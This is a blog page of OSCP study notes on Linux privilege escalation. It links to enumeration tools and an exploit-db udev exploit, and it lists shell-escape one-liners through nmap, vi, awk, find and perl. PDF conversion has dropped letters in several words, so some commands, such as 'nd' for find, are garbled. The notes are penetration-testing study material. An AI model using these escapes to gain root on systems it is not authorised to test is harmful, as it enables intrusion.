MENU
SECURISM
All about Information Security
OSCP NOTES – PRIVILEGE ESCALATION (LINUX)
LYNIS
https://cisofy.com/lynis/
LINUX EXPLOIT SUGGESTOR
https://github.com/PenturaLabs/Linux_Exploit_Suggester
SHELL ESCAPE SEQUENCES
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
nmap–> –interactive
vi–> :!bash
vi–> :set shell=/bin/bash:shell
awk–> awk ‘BEGIN {system(“/bin/bash”)}’
nd–> nd / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
perl–> perl -e ‘exec “/bin/bash”;’
COMMANDS USEFUL FOR GAINING INFORMATION :
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
BASICS OF PRIVILEGE ESCALATION METHODS :
http://www.doomedraven.com/2013/04/hacking-linux-part-i-privilege.html
http://www.rebootuser.com/?p=1623#.V0W5Pbp95JP
LINUX PRIV CHECKER
https://www.securitysi t.com/download/linuxprivchecker.py
Here’s an overview of this Linux privilege escalation script identi ed:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Basic system info (OS/Kernel/System name, etc)
Networking Info (ifcon g, route, netstat, etc)
Miscellaneous lesystem info (mount, fstab, cron jobs, etc)
User info (current user, all users, super users, command history, etc)
File and Directory permissions (world-writeable les/dirs, suid les, root home directory)
Files containing plaintext passwords
Interesting les, processes and applications (all processes and packages, all processes run by root and the associated
packages, sudo version, apache con g le, etc)
All installed languages and tools (gcc, perl, python, nmap, netcat, wget, tp, etc)
All relevant privilege escalation exploits (using a comprehensive dictionary of exploits with applicable kernel versions,
so tware packages/processes, etc)
UNIX PRIV ESC
./unix-priv-esc detailed > unix_priv_esc
LINUX LOCAL EXPLOIT – UDEV
http://www.madirish.net/370
https://www.exploit-db.com/exploits/8572/
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Advertisements
Virginia Woman Was Playing on
This Free Bingo Game, When
All Of A Sudden She Won Big
REPORT THIS AD
SHARE THIS:
Twitter Facebook
Like
Be the first to like this.
Search …
PAGES
Contact
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
OSCP Notes – Bu fer Over low
OSCP Notes – Exploitation
OSCP Notes – File Transfers
OSCP Notes – Information Gathering
OSCP Notes – Meterpreter
OSCP Notes – Password Attacks
OSCP Notes – Port Forwarding
OSCP Notes – Port Scanning
OSCP Notes – Privilege Escalation (Linux)
OSCP Notes – Privilege Escalation (Windows)
OSCP Notes – Shells
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD